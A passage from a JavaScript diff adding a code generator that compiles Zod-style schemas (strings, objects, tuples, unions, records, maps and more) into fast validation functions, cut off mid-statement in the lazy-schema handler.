"lowercase": + doc.write(`if (${accessor} !== ${accessor}.toLowerCase()) return INVALID;`); + break; + case "uppercase": + doc.write(`if (${accessor} !== ${accessor}.toUpperCase()) return INVALID;`); + break; + case "includes": + doc.write(`if (!${accessor}.includes(${esc(def.includes)})) return INVALID;`); + break; + case "starts_with": { + const prefix = def.prefix; + doc.write(`if (${accessor}.slice(0, ${prefix.length}) !== ${esc(prefix)}) return INVALID;`); + break; + } + case "ends_with": { + const suffix = def.suffix; + doc.write(`if (${accessor}.slice(-${suffix.length}) !== ${esc(suffix)}) return INVALID;`); + break; + } + default: { + throw new ZodCompileUnsupportedError(`string format ${format}`); + } + } + return accessor; +} +function generateCheck(doc, ctx, schema, accessor, needsValue = true) { + const def = schema._zod.def; + const type = def.type; + if (def.coerce) { + throw new ZodCompileUnsupportedError(`coercion (z.coerce.${type}())`); + } + const buildsValue = needsValue || !!def.checks?.length; + let typeAccessor; + switch (type) { + case "string": + typeAccessor = generateStringCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "number": + typeAccessor = generateNumberCheck(doc, schema, accessor); + break; + case "boolean": + typeAccessor = generateBooleanCheck(doc, accessor); + break; + case "bigint": + typeAccessor = generateBigIntCheck(doc, schema, accessor); + break; + case "symbol": + typeAccessor = generateSymbolCheck(doc, accessor); + break; + case "undefined": + typeAccessor = generateUndefinedCheck(doc, accessor); + break; + case "null": + typeAccessor = generateNullCheck(doc, accessor); + break; + case "any": + case "unknown": + typeAccessor = accessor; + break; + case "never": + doc.write("return INVALID;"); + typeAccessor = accessor; + break; + case "void": + typeAccessor = generateVoidCheck(doc, accessor); + break; + case "nan": + typeAccessor = generateNaNCheck(doc, accessor); + break; + case "date": + typeAccessor = generateDateCheck(doc, accessor); + break; + case "object": + typeAccessor = generateObjectCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "optional": + typeAccessor = generateOptionalCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "nullable": + typeAccessor = generateNullableCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "array": + typeAccessor = generateArrayCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "literal": + typeAccessor = generateLiteralCheck(doc, ctx, schema, accessor); + break; + case "enum": + typeAccessor = generateEnumCheck(doc, ctx, schema, accessor); + break; + case "readonly": { + const innerOut = generateWrapperCheck(doc, ctx, schema, accessor); + const frozenVar = newVar(ctx); + doc.write(`const ${frozenVar} = Object.freeze(${innerOut});`); + typeAccessor = frozenVar; + break; + } + case "success": + generateWrapperCheck(doc, ctx, schema, accessor); + typeAccessor = "true"; + break; + case "default": + case "prefault": + typeAccessor = generateDefaultCheck(doc, ctx, schema, accessor); + break; + case "nonoptional": + typeAccessor = generateNonOptionalCheck(doc, ctx, schema, accessor); + break; + case "tuple": + typeAccessor = generateTupleCheck(doc, ctx, schema, accessor); + break; + case "union": + typeAccessor = generateUnionCheck(doc, ctx, schema, accessor); + break; + case "intersection": + typeAccessor = generateIntersectionCheck(doc, ctx, schema, accessor); + break; + case "record": + typeAccessor = generateRecordCheck(doc, ctx, schema, accessor); + break; + case "map": + typeAccessor = generateMapCheck(doc, ctx, schema, accessor); + break; + case "set": + typeAccessor = generateSetCheck(doc, ctx, schema, accessor); + break; + case "file": + typeAccessor = generateFileCheck(doc, accessor); + break; + case "template_literal": + typeAccessor = generateTemplateLiteralCheck(doc, ctx, schema, accessor); + break; + case "lazy": + typeAccessor = generateLazyCheck(doc, ctx, schema, accessor); + break; + case "pipe": + typeAccessor = generatePipeCheck(doc, ctx, schema, accessor); + break; + case "custom": + typeAccessor = generateCustomCheck(doc, ctx, schema, accessor); + break; + case "transform": + typeAccessor = generateTransformCheck(doc, ctx, schema, accessor); + break; + case "catch": + typeAccessor = generateCatchCheck(doc, ctx, schema, accessor); + break; + default: { + throw new ZodCompileUnsupportedError(`schema type ${type}`); + } + } + if (typeAccessor === null) + return null; + return generateChecks(doc, ctx, schema, typeAccessor); +} +function generateStringCheck(doc, ctx, schema, accessor, needsValue = true) { + doc.write(`if (typeof ${accessor} !== "string") return INVALID;`); + const def = schema._zod.def; + if (def.format === void 0) + return accessor; + return generateStringFormatCheck(doc, ctx, def, accessor, needsValue); +} +function generateNumberCheck(doc, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "number" || !Number.isFinite(${accessor})) return INVALID;`); + const def = schema._zod.def; + if (def.check === "number_format" && def.format) { + generateNumberFormatCheck(doc, { format: def.format }, accessor); + } + return accessor; +} +function generateBooleanCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "boolean") return INVALID;`); + return accessor; +} +function generateBigIntCheck(doc, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "bigint") return INVALID;`); + const def = schema._zod.def; + if (def.format) { + switch (def.format) { + case "int64": + doc.write(`if (${accessor} < -9223372036854775808n || ${accessor} > 9223372036854775807n) return INVALID;`); + break; + case "uint64": + doc.write(`if (${accessor} < 0n || ${accessor} > 18446744073709551615n) return INVALID;`); + break; + } + } + return accessor; +} +function generateSymbolCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "symbol") return INVALID;`); + return accessor; +} +function generateUndefinedCheck(doc, accessor) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + return accessor; +} +function generateNullCheck(doc, accessor) { + doc.write(`if (${accessor} !== null) return INVALID;`); + return accessor; +} +function generateVoidCheck(doc, accessor) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + return accessor; +} +function generateNaNCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "number" || !Number.isNaN(${accessor})) return INVALID;`); + return accessor; +} +function generateDateCheck(doc, accessor) { + doc.write(`if (!(${accessor} instanceof Date) || Number.isNaN(${accessor}.getTime())) return INVALID;`); + return accessor; +} +function generateObjectCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + doc.write(`if (typeof ${accessor} !== "object" || ${accessor} === null || Array.isArray(${accessor})) return INVALID;`); + const shape = def.shape; + const keys = Object.keys(shape); + const symbolKeys = Object.getOwnPropertySymbols(shape); + const allKeys = symbolKeys.length ? [...keys, ...symbolKeys] : keys; + const keyExpr = (k) => typeof k === "symbol" ? addConstant(ctx, k) : esc(k); + const propKey = (k) => typeof k === "symbol" ? `[${keyExpr(k)}]` : esc(k); + const propShape = shape; + if (keys.includes("__proto__")) { + throw new ZodCompileUnsupportedError('object shape key "__proto__"'); + } + const propOutputs = /* @__PURE__ */ new Map(); + for (const key of allKeys) { + const propSchema = propShape[key]; + const kx = keyExpr(key); + const inputVar = newVar(ctx); + doc.write(`const ${inputVar} = ${accessor}[${kx}];`); + if (propSchema._zod.optin !== void 0) { + const outputVar2 = newVar(ctx); + doc.write(`let ${outputVar2} = (() => {`); + doc.indented((d) => { + const outputAccessor = compileChild(d, ctx, propSchema, inputVar); + d.write(`return ${outputAccessor};`); + }); + doc.write(`})();`); + if (propSchema._zod.optout === "optional") { + doc.write(`if (${outputVar2} === INVALID) {`); + doc.indented((d) => { + d.write(`if (${kx} in ${accessor}) return INVALID;`); + d.write(`${outputVar2} = undefined;`); + }); + doc.write(`}`); + } else { + doc.write(`if (${outputVar2} === INVALID) return INVALID;`); + } + propOutputs.set(key, outputVar2); + } else { + if (requiresPresenceCheck(propSchema)) { + doc.write(`if (!(${kx} in ${accessor})) return INVALID;`); + } + const outputAccessor = compileChild(doc, ctx, propSchema, inputVar, buildsValue); + if (outputAccessor !== null) + propOutputs.set(key, outputAccessor); + } + } + const catchall = def.catchall; + let unknownKeysMode = "none"; + if (catchall) { + const catchallType = catchall._zod.def.type; + if (catchallType === "never") { + const condition = keys.map((k) => `k !== ${esc(k)}`).join(" && ") || "true"; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (${condition}) return INVALID;`); + }); + doc.write(`}`); + } else if ((catchallType === "unknown" || catchallType === "any") && !catchall._zod.def.checks?.length) { + unknownKeysMode = "passthrough"; + } else { + unknownKeysMode = "schema"; + } + } + const outputVar = newVar(ctx); + const hasConditionalKeys = allKeys.some((k) => mayOmitUndefined(propShape[k]) || dropsWhenAbsent(propShape[k])); + if (!buildsValue) { + if (unknownKeysMode === "schema") { + const knownSet = keys.length > 0 ? addConstant(ctx, new Set(keys)) : null; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (k === "__proto__") continue;`); + if (knownSet) + d.write(`if (${knownSet}.has(k)) continue;`); + const valVar = newVar(ctx); + d.write(`const ${valVar} = ${accessor}[k];`); + compileChild(d, ctx, catchall, valVar, false); + }); + doc.write(`}`); + } + return null; + } + if (!hasConditionalKeys) { + const propLiterals = allKeys.map((k) => `${propKey(k)}: ${propOutputs.get(k)}`).join(", "); + doc.write(`const ${outputVar} = { ${propLiterals} };`); + } else { + doc.write(`const ${outputVar} = {};`); + for (const k of allKeys) { + const kx = keyExpr(k); + const out = propOutputs.get(k); + if (dropsWhenAbsent(propShape[k])) { + doc.write(`if (${kx} in ${accessor}) ${outputVar}[${kx}] = ${out};`); + } else if (mayOmitUndefined(propShape[k])) { + doc.write(`if (${out} !== undefined || ${kx} in ${accessor}) ${outputVar}[${kx}] = ${out};`); + } else { + doc.write(`${outputVar}[${kx}] = ${out};`); + } + } + } + if (unknownKeysMode !== "none") { + const knownSet = keys.length > 0 ? addConstant(ctx, new Set(keys)) : null; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (k === "__proto__") continue;`); + if (knownSet) + d.write(`if (${knownSet}.has(k)) continue;`); + if (unknownKeysMode === "passthrough") { + d.write(`${outputVar}[k] = ${accessor}[k];`); + } else { + const valVar = newVar(ctx); + d.write(`const ${valVar} = ${accessor}[k];`); + const catchallOut = compileChild(d, ctx, catchall, valVar); + d.write(`${outputVar}[k] = ${catchallOut};`); + } + }); + doc.write(`}`); + } + return outputVar; +} +function generateOptionalCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + if (isExactOptional(schema)) { + return generateCheck(doc, ctx, def.innerType, accessor, buildsValue); + } + if (def.innerType._zod.optin === "defaulted") { + const outputVar2 = newVar(ctx); + const branchVar = newVar(ctx); + doc.write(`let ${outputVar2};`); + doc.write(`if (${accessor} === undefined) {`); + doc.indented((d) => { + d.write(`const ${branchVar} = (() => {`); + d.indented((d2) => { + const innerOutput = generateCheck(d2, ctx, def.innerType, accessor); + d2.write(`return ${innerOutput};`); + }); + d.write(`})();`); + d.write(`if (${branchVar} !== INVALID) ${outputVar2} = ${branchVar};`); + }); + doc.write(`} else {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar2} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar2; + } + const outputVar = buildsValue ? newVar(ctx) : null; + if (outputVar) + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} !== undefined) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor, buildsValue); + if (outputVar && innerOutput !== null) + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function isExactOptional(schema) { + return schema._zod.traits?.has("$ZodExactOptional") === true; +} +function requiresPresenceCheck(schema) { + return schema._zod.optin === void 0 && fastPathAcceptsAbsence(schema); +} +function fastPathAcceptsAbsence(schema) { + if (schema._zod.def.coerce) + return true; + const def = schema._zod.def; + switch (def.type) { + case "any": + case "unknown": + case "undefined": + case "void": + case "default": + case "prefault": + case "transform": + case "custom": + case "lazy": + return true; + case "string": + case "number": + case "boolean": + case "bigint": + case "symbol": + case "null": + case "never": + case "nan": + case "date": + case "object": + case "array": + case "tuple": + case "record": + case "map": + case "set": + case "file": + case "template_literal": + return false; + case "nonoptional": + return def.innerType ? fastPathAcceptsAbsence(def.innerType) : false; + case "literal": + return !!def.values?.includes(void 0); + case "enum": + return !!schema._zod.values?.has(void 0); + case "optional": + case "nullable": + case "readonly": + case "success": + return def.innerType ? fastPathAcceptsAbsence(def.innerType) : true; + case "catch": + return true; + case "union": + return def.options ? def.options.some(fastPathAcceptsAbsence) : true; + case "intersection": + if (!def.left || !def.right) + return true; + return fastPathAcceptsAbsence(def.left) && fastPathAcceptsAbsence(def.right); + case "pipe": + return def.in ? fastPathAcceptsAbsence(def.in) : true; + default: + return true; + } +} +function dropsWhenAbsent(schema) { + return schema._zod.optin === "optional" && schema._zod.optout === "optional"; +} +function mayOmitUndefined(schema) { + return (schema._zod.optin !== "defaulted" || schema._zod.optout === "optional") && mayOutputUndefined(schema); +} +function mayOutputUndefined(schema) { + const def = schema._zod.def; + switch (def.type) { + case "string": + case "number": + case "boolean": + case "bigint": + case "symbol": + case "null": + case "nan": + case "date": + case "object": + case "array": + case "tuple": + case "record": + case "map": + case "set": + case "file": + case "template_literal": + case "never": + case "success": + return false; + case "literal": + return !!def.values?.includes(void 0); + case "enum": + return !!schema._zod.values?.has(void 0); + case "optional": + return true; + case "nullable": + case "readonly": + case "nonoptional": + return def.innerType ? mayOutputUndefined(def.innerType) : true; + case "union": + return def.options ? def.options.some(mayOutputUndefined) : true; + case "intersection": + return !def.left || !def.right || mayOutputUndefined(def.left) || mayOutputUndefined(def.right); + case "pipe": + return def.out ? mayOutputUndefined(def.out) : true; + default: + return true; + } +} +function generateNullableCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + const outputVar = buildsValue ? newVar(ctx) : null; + if (outputVar) + doc.write(`let ${outputVar} = null;`); + doc.write(`if (${accessor} !== null) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor, buildsValue); + if (outputVar && innerOutput !== null) + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function generateSizeGate(doc, schema, size2) { + for (const [max, check3] of sizeCaps(schema._zod.def.checks)) { + doc.write(`if (${size2} > ${numericOperand(max, check3._zod.def.check)}) return INVALID;`); + } +} +function generateArrayCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + doc.write(`if (!Array.isArray(${accessor})) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.length`); + const outputVar = buildsValue ? newVar(ctx) : null; + const iVar = newVar(ctx); + const elemVar = newVar(ctx); + if (outputVar) + doc.write(`const ${outputVar} = new Array(${accessor}.length);`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${accessor}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${elemVar} = ${accessor}[${iVar}];`); + const elemOutput = compileChild(d, ctx, def.element, elemVar, buildsValue); + if (outputVar && elemOutput !== null) + d.write(`${outputVar}[${iVar}] = ${elemOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function generateLiteralCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const values2 = def.values; + if (values2.length !== 1) { + const literalSet = addConstant(ctx, new Set(values2)); + doc.write(`if (!${literalSet}.has(${accessor})) return INVALID;`); + return accessor; + } + const value = values2[0]; + if (typeof value === "number" && Number.isNaN(value)) { + const literalSet = addConstant(ctx, new Set(values2)); + doc.write(`if (!${literalSet}.has(${accessor})) return INVALID;`); + return accessor; + } + if (typeof value === "string") { + doc.write(`if (${accessor} !== ${esc(value)}) return INVALID;`); + } else if (typeof value === "number" || typeof value === "boolean") { + doc.write(`if (${accessor} !== ${value}) return INVALID;`); + } else if (value === null) { + doc.write(`if (${accessor} !== null) return INVALID;`); + } else if (value === void 0) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + } else if (typeof value === "bigint") { + doc.write(`if (${accessor} !== ${value}n) return INVALID;`); + } else { + throw new ZodCompileUnsupportedError(`literal type ${typeof value}`); + } + return accessor; +} +function generateEnumCheck(doc, ctx, schema, accessor) { + const values2 = schema._zod.values; + if (!values2) { + throw new ZodCompileUnsupportedError("enum schema without enumerated values"); + } + const enumSet = addConstant(ctx, values2); + doc.write(`if (!${enumSet}.has(${accessor})) return INVALID;`); + return accessor; +} +function generateWrapperCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + return generateCheck(doc, ctx, def.innerType, accessor); +} +function generateDefaultCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const descriptor = Object.getOwnPropertyDescriptor(schema._zod.def, "defaultValue"); + const defaultGetter = descriptor ? () => schema._zod.def.defaultValue : void 0; + if (schema._zod.def.type === "prefault") { + if (!defaultGetter) { + return generateCheck(doc, ctx, def.innerType, accessor); + } + const defaultFn = addConstant(ctx, defaultGetter); + const inputVar = newVar(ctx); + doc.write(`let ${inputVar} = ${accessor};`); + doc.write(`if (${accessor} === undefined) ${inputVar} = ${defaultFn}();`); + return generateCheck(doc, ctx, def.innerType, inputVar); + } + const outputVar = newVar(ctx); + if (defaultGetter) { + const defaultFn = addConstant(ctx, defaultGetter); + const cloneFn = addConstant(ctx, shallowClone); + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} === undefined) {`); + doc.indented((d) => { + d.write(`${outputVar} = ${cloneFn}(${defaultFn}());`); + }); + doc.write(`} else {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar} = ${innerOutput} === undefined ? ${cloneFn}(${defaultFn}()) : ${innerOutput};`); + }); + doc.write(`}`); + } else { + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} !== undefined) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + } + return outputVar; +} +function generateNonOptionalCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const innerOutput = generateCheck(doc, ctx, def.innerType, accessor); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${innerOutput};`); + doc.write(`if (${outputVar} === undefined) return INVALID;`); + return outputVar; +} +function generateTupleCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const items = def.items; + const rest = def.rest; + doc.write(`if (!Array.isArray(${accessor})) return INVALID;`); + const optinStart = getTupleOptStart2(items, "optin"); + const optoutStart = getTupleOptStart2(items, "optout"); + if (rest) { + doc.write(`if (${accessor}.length < ${optinStart}) return INVALID;`); + } else { + doc.write(`if (${accessor}.length < ${optinStart} || ${accessor}.length > ${items.length}) return INVALID;`); + } + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = [];`); + for (let i = 0; i < items.length; i++) { + const itemSchema = items[i]; + if (i >= optoutStart) { + doc.write(`if (${outputVar}.length === ${i}) {`); + doc.indented((d) => { + d.write(`if (${i} < ${accessor}.length) {`); + d.indented((d2) => { + const elemVar = newVar(ctx); + d2.write(`const ${elemVar} = ${accessor}[${i}];`); + const elemOutput = compileChild(d2, ctx, itemSchema, elemVar); + d2.write(`${outputVar}[${i}] = ${elemOutput};`); + }); + d.write(`} else {`); + d.indented((d2) => { + if (dropsWhenAbsent(itemSchema)) { + d2.write(`${outputVar}.length = ${i};`); + return; + } + const elemVar = newVar(ctx); + const branchVar = newVar(ctx); + d2.write(`const ${elemVar} = undefined;`); + d2.write(`const ${branchVar} = (() => {`); + d2.indented((d3) => { + const elemOutput = compileChild(d3, ctx, itemSchema, elemVar); + d3.write(`return ${elemOutput};`); + }); + d2.write(`})();`); + d2.write(`if (${branchVar} === INVALID || ${branchVar} === undefined) ${outputVar}.length = ${i};`); + d2.write(`else ${outputVar}[${i}] = ${branchVar};`); + }); + d.write(`}`); + }); + doc.write(`}`); + } else { + const elemVar = newVar(ctx); + doc.write(`const ${elemVar} = ${accessor}[${i}];`); + const elemOutput = compileChild(doc, ctx, itemSchema, elemVar); + doc.write(`${outputVar}[${i}] = ${elemOutput};`); + } + } + if (rest) { + const iVar = newVar(ctx); + const elemVar = newVar(ctx); + doc.write(`for (let ${iVar} = ${items.length}; ${iVar} < ${accessor}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${elemVar} = ${accessor}[${iVar}];`); + const elemOutput = compileChild(d, ctx, rest, elemVar); + d.write(`${outputVar}[${iVar}] = ${elemOutput};`); + }); + doc.write(`}`); + } + return outputVar; +} +function getTupleOptStart2(items, key) { + for (let i = items.length - 1; i >= 0; i--) { + const omittable = key === "optin" ? items[i]._zod.optin !== void 0 : items[i]._zod.optout === "optional"; + if (!omittable) + return i + 1; + } + return 0; +} +function generateUnionCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const options = def.options; + if (def.discriminator) { + return generateDiscriminatedUnionCheck(doc, ctx, def, accessor); + } + if (def.inclusive === false) { + throw new ZodCompileUnsupportedError("exclusive unions (z.xor)"); + } + if (options.length === 0) { + doc.write("return INVALID;"); + return accessor; + } + if (options.length === 1) { + return generateCheck(doc, ctx, options[0], accessor); + } + const allLiterals = options.every((opt) => opt._zod.def.type === "literal" && !opt._zod.def.checks?.length); + if (allLiterals) { + const values2 = new Set(options.flatMap((opt) => opt._zod.def.values)); + const valuesConst = addConstant(ctx, values2); + doc.write(`if (!${valuesConst}.has(${accessor})) return INVALID;`); + return accessor; + } + const outputVar = newVar(ctx); + doc.write(`let ${outputVar};`); + for (let i = 0; i < options.length; i++) { + const opt = options[i]; + if (i === 0) { + doc.write(`${outputVar} = (() => {`); + } else { + doc.write(`if (${outputVar} === INVALID) ${outputVar} = (() => {`); + } + doc.indented((d) => { + const branchOutput = generateCheck(d, ctx, opt, accessor); + d.write(`return ${branchOutput};`); + }); + doc.write(`})();`); + } + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; +} +function generateDiscriminatedUnionCheck(doc, ctx, def, accessor) { + if (def.unionFallback) { + throw new ZodCompileUnsupportedError("discriminated union with unionFallback"); + } + if (def.options.length === 0) { + doc.write("return INVALID;"); + return accessor; + } + const discVar = newVar(ctx); + const outputVar = newVar(ctx); + doc.write(`const ${discVar} = ${accessor}?.[${esc(def.discriminator)}];`); + doc.write(`let ${outputVar};`); + let firstBranch = true; + const claimed = /* @__PURE__ */ new Set(); + for (const option of def.options) { + const values2 = option._zod.propValues?.[def.discriminator]; + if (!values2 || values2.size === 0) { + throw new ZodCompileUnsupportedError("discriminated union option without static discriminator values"); + } + for (const value of values2) { + if (claimed.has(value)) { + throw new ZodCompileUnsupportedError(`duplicate discriminator value ${String(value)}`); + } + claimed.add(value); + } + const conditions = Array.from(values2, (value) => literalEquality(ctx, discVar, value)); + const prefix = firstBranch ? "if" : "else if"; + doc.write(`${prefix} (${conditions.join(" || ")}) {`); + doc.indented((d) => { + const branchOutput = generateCheck(d, ctx, option, accessor); + d.write(`${outputVar} = ${branchOutput};`); + }); + doc.write(`}`); + firstBranch = false; + } + doc.write(`else { return INVALID; }`); + return outputVar; +} +function literalEquality(ctx, accessor, value) { + if (typeof value === "string") + return `${accessor} === ${esc(value)}`; + if (typeof value === "number") { + if (Number.isNaN(value)) + return `Number.isNaN(${accessor})`; + return `${accessor} === ${value}`; + } + if (typeof value === "boolean") + return `${accessor} === ${value}`; + if (value === null) + return `${accessor} === null`; + if (value === void 0) + return `${accessor} === undefined`; + if (typeof value === "bigint") + return `${accessor} === ${value}n`; + if (typeof value === "symbol") { + const symbolConst = addConstant(ctx, value); + return `${accessor} === ${symbolConst}`; + } + throw new ZodCompileUnsupportedError(`literal discriminator value ${String(value)}`); +} +function generateIntersectionCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + ctx.definite = false; + const leftOutput = compileChild(doc, ctx, def.left, accessor); + const rightOutput = compileChild(doc, ctx, def.right, accessor); + const mergeConst = addConstant(ctx, mergeValues); + const mergedVar = newVar(ctx); + doc.write(`const ${mergedVar} = ${mergeConst}(${leftOutput}, ${rightOutput});`); + doc.write(`if (!${mergedVar}.valid) return INVALID;`); + return `${mergedVar}.data`; +} +function generateRecordCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const isPlainObjectConst = addConstant(ctx, isPlainObject); + doc.write(`if (!${isPlainObjectConst}(${accessor})) return INVALID;`); + const outputVar = newVar(ctx); + const kVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = {};`); + const recordDef = def; + const keyValues = recordDef.partial ? void 0 : def.keyType._zod.values; + if (keyValues) { + const inputKeys = []; + for (const key of keyValues) { + if (!(typeof key === "string" || typeof key === "number" || typeof key === "symbol")) { + throw new ZodCompileUnsupportedError(`record key value ${String(key)}`); + } + const inputKey = typeof key === "number" ? key.toString() : key; + if (inputKey === "__proto__") { + throw new ZodCompileUnsupportedError('record key "__proto__"'); + } + inputKeys.push(inputKey); + const keyConst = addConstant(ctx, key); + const outKey = generateCheck(doc, ctx, def.keyType, keyConst); + const valueVar = newVar(ctx); + doc.write(`const ${valueVar} = ${accessor}[${literalPropertyKey(ctx, inputKey)}];`); + const valOutput = compileChild(doc, ctx, def.valueType, valueVar); + doc.write(`${outputVar}[${outKey}] = ${valOutput};`); + } + const knownKeysConst = addConstant(ctx, new Set(inputKeys)); + doc.write(`for (const ${kVar} in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (${knownKeysConst}.has(${kVar})) continue;`); + if (recordDef.mode === "loose") { + d.write(`if (${kVar} !== "__proto__") ${outputVar}[${kVar}] = ${accessor}[${kVar}];`); + } else { + d.write(`return INVALID;`); + } + }); + doc.write(`}`); + return outputVar; + } + const keyDef = def.keyType._zod.def; + const keyIsBareString = keyDef.type === "string" && keyDef.format === void 0 && !keyDef.coerce && (keyDef.checks?.length ?? 0) === 0; + if (!keyIsBareString) { + const isLoose = def.mode === "loose"; + const keyFn = compileFn(def.keyType); + if (keyFn.definite === false) + ctx.definite = false; + const keyFast = addConstant(ctx, keyFn); + const numericConst = addConstant(ctx, number); + const outKeyVar = newVar(ctx); + emitOwnKeys(doc, ctx, accessor, kVar, (d) => { + d.write(`let ${outKeyVar} = ${keyFast}(${kVar});`); + d.write(`if (${outKeyVar} === INVALID && typeof ${kVar} === "string" && ${numericConst}.test(${kVar})) ${outKeyVar} = ${keyFast}(Number(${kVar}));`); + if (isLoose) { + d.write(`if (${outKeyVar} === INVALID) { ${outputVar}[${kVar}] = ${accessor}[${kVar}]; continue; }`); + } else { + d.write(`if (${outKeyVar} === INVALID) return INVALID;`); + } + d.write(`if (${outKeyVar} === "__proto__") continue;`); + const valueVar = newVar(ctx); + d.write(`const ${valueVar} = ${accessor}[${kVar}];`); + const valOutput = compileChild(d, ctx, def.valueType, valueVar); + d.write(`${outputVar}[${outKeyVar}] = ${valOutput};`); + }); + return outputVar; + } + emitOwnKeys(doc, ctx, accessor, kVar, (d) => { + d.write(`const ${valVar} = ${accessor}[${kVar}];`); + const valOutput = compileChild(d, ctx, def.valueType, valVar); + d.write(`${outputVar}[${kVar}] = ${valOutput};`); + }, `return INVALID;`); + return outputVar; +} +function emitOwnKeys(doc, ctx, accessor, kVar, body, onSymbol) { + const propIsEnumerableConst = addConstant(ctx, Object.prototype.propertyIsEnumerable); + const symsVar = newVar(ctx); + const keysVar = newVar(ctx); + const iVar = newVar(ctx); + doc.write(`const ${symsVar} = Object.getOwnPropertySymbols(${accessor});`); + doc.write(`const ${keysVar} = Object.getOwnPropertyNames(${accessor});`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${keysVar}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${kVar} = ${keysVar}[${iVar}];`); + d.write(`if (${kVar} === "__proto__" || !${propIsEnumerableConst}.call(${accessor}, ${kVar})) continue;`); + body(d); + }); + doc.write(`}`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${symsVar}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${kVar} = ${symsVar}[${iVar}];`); + d.write(`if (!${propIsEnumerableConst}.call(${accessor}, ${kVar})) continue;`); + if (onSymbol) + d.write(onSymbol); + else + body(d); + }); + doc.write(`}`); +} +function literalPropertyKey(ctx, key) { + if (typeof key === "string") + return esc(key); + return addConstant(ctx, key); +} +function generateMapCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + doc.write(`if (!(${accessor} instanceof Map)) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.size`); + const outputVar = newVar(ctx); + const kVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = new Map();`); + doc.write(`for (const [${kVar}, ${valVar}] of ${accessor}) {`); + doc.indented((d) => { + const keyOutput = generateCheck(d, ctx, def.keyType, kVar); + const valOutput = generateCheck(d, ctx, def.valueType, valVar); + d.write(`${outputVar}.set(${keyOutput}, ${valOutput});`); + }); + doc.write(`}`); + return outputVar; +} +function generateSetCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + doc.write(`if (!(${accessor} instanceof Set)) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.size`); + const outputVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = new Set();`); + doc.write(`for (const ${valVar} of ${accessor}) {`); + doc.indented((d) => { + const valOutput = generateCheck(d, ctx, def.valueType, valVar); + d.write(`${outputVar}.add(${valOutput});`); + }); + doc.write(`}`); + return outputVar; +} +function generateFileCheck(doc, accessor) { + doc.write(`if (!(${accessor} instanceof File)) return INVALID;`); + return accessor; +} +function generateTemplateLiteralCheck(doc, ctx, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "string") return INVALID;`); + const pattern = schema._zod.pattern; + if (pattern) { + const patternConst = addConstant(ctx, pattern); + doc.write(`${patternConst}.lastIndex = 0;`); + doc.write(`if (!${patternConst}.test(${accessor})) return INVALID;`); + } + return accessor; +} +function generateLazyCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const getterConst = addUserConstant(ctx, def.getter); + const cacheConst = addConstant(ctx, { parser: null }); + doc.write(`if (!${cacheConst}.parser) {`); + doc.indented((d) => { + d.write(`const inner = ${getterConst}();`); + d.write(`${cacheConst}.parser = function(input) {`); + d.indented((d2) => { + d2.write(`const result = 